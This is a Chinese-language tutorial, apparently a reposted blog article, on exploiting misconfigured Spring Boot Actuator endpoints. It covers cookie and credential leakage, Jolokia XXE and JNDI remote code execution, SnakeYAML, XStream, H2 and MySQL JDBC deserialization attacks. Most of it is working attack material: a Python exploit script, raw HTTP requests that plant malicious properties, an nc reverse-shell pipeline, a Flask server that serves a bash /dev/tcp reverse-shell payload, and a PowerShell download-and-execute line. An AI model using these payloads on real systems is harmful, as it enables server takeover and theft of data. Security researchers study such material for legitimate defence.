Spring Boot Actuator 漏洞利用

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。


影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

路径            描述
/autoconfig    提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans         描述应用程序上下文里全部的Bean,以及它们的关系
/env           获取全部环境属性
/configprops   描述配置属性(包含默认值)如何注入Bean
/dump          获取线程活动的快照
/health        报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info          获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings      描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics       报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown      关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace         提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。


Spring Boot 2.x版本端点移动到/actuator/路径。


本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。

访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。


访问/env端点获取环境属性。
数据库账户泄漏


Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件
logback.xml,地址为公网vpsweb服务地址。


%remote;%int;]>
&trick;

fileread.dtd

 
">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。


3、远程访问logback.xml文件。

www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。


远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(...))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

1、下载rce利用代码。
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。


使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行

mvn clean install

打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。




修改logback.xml文件内容。

 
  

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过'Djava.rmi.server.hostname=x.x.x.x'指定自己的RMI监听的外网地址。

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

vps使用nc监听反弹shell指定的端口。

nc -lvp 9998

在漏洞url上访问:

http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/114.x.x.x!/logback.xml

成功反弹shell。


createJNDIRealm方法

相关原理请查看
Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。


利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入
可以使用burp一步步重放,也可以直接使用python脚本执行。

import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
#运行Realm,触发JNDI 注入
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务。

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

使用nc监听反弹的端口

nc -lvp 9998

使用python发送请求

python exp.py http://x.x.x.x:8087

成功反弹shell。


spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
https://github.com/artsploit/yaml-payload
更改执行的命令。


将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件上传到公网http服务器,创建yml配置文件。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://x.x.x.x/yaml-payload.jar"]
  ]]
]

修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

请求 /refresh 接口触发

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。


修复建议

升级Spring Boot版本,关闭外部端点,增加访问权限控制。

XStream反序列化

影响范围:
Eureka-Client <1.8.7
留意/env端点是否存在eureka.client.serviceUrl.defaultZone属性。
通过/env将eureka.client.serviceUrl.defaultZone属性设置为服务器URL,然后调用/refresh端点。

python3 flsak_eureka.py
# -*- coding: utf-8 -*-

# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# powershell
# IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
# powercat -c 192.168.123.1 -p 2333 -e cmd

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """
  
    
      
        
          
            
              
                
                  
                  
                    
                                /bin/bash
                      -c
                      bash -i >& /dev/tcp/88.88.88.88/3333 0>&1
                    
                    false
                  
                
                
                  
                    java.lang.ProcessBuilder
                    start
                    
                  
                  foo
                
                foo
              
              
            
            
            
          
        
      
    
  
"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)

spring 1.x(一定要指定内容类型,不能有其他类型)

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

通过env端点设置eureka.client.serviceUrl.defaultZone属性值。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
 
eureka.client.serviceUrl.defaultZone=http://x.x.x.x/xstream

随后访问/refresh端点刷新配置。

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

H2 rce

漏洞版本 Spring Boot 2.x版本

利用过程:
首先发送POST包配置spring.datasource.hikari.connection-test-query的值

POST /actuator/env HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Type: application/json
Content-Length: 365

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl dnslog.cn');"}

然后向端点 /actuator/restart 发送POST请求,重启应用

POST /actuator/restart HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cache-Control: max-age=0

mysql jdbc 反序列化

利用条件:
可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标环境中存在 mysql-connector-java 依赖
目标可以请求攻击者的服务器(请求可出外网)
利用过程:
1、查看环境依赖
GET 请求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);
搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections、 Jdk7u21、 Jdk8u20 等;
搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续恢复其正常 jdbc url 值。
2、架设恶意 rogue mysql server
在vps运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令:https://landgrey.me/blog/11/

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。



3、设置 spring.datasource.url 属性
根据 /env 接口暴露的属性名 spring.datasource.url ,和实际的 mysql-connector-java 版本,设置 jdbc url:
mysql-connector-java 5.x

jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x

jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring boot 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring boot 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

4、刷新配置
spring boot 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring boot 2.x

POST /actuator/refresh
Content-Type: application/json

5、触发数据查询,即可触发反序列化漏洞,反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value 值。

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html
https://mp.weixin.qq.com/s/QLWcdQ2hrxtPKrL5bDVHLA
https://landgrey.me/blog/14/
https://landgrey.me/blog/11/

你可能感兴趣的:(Spring Boot Actuator 漏洞利用)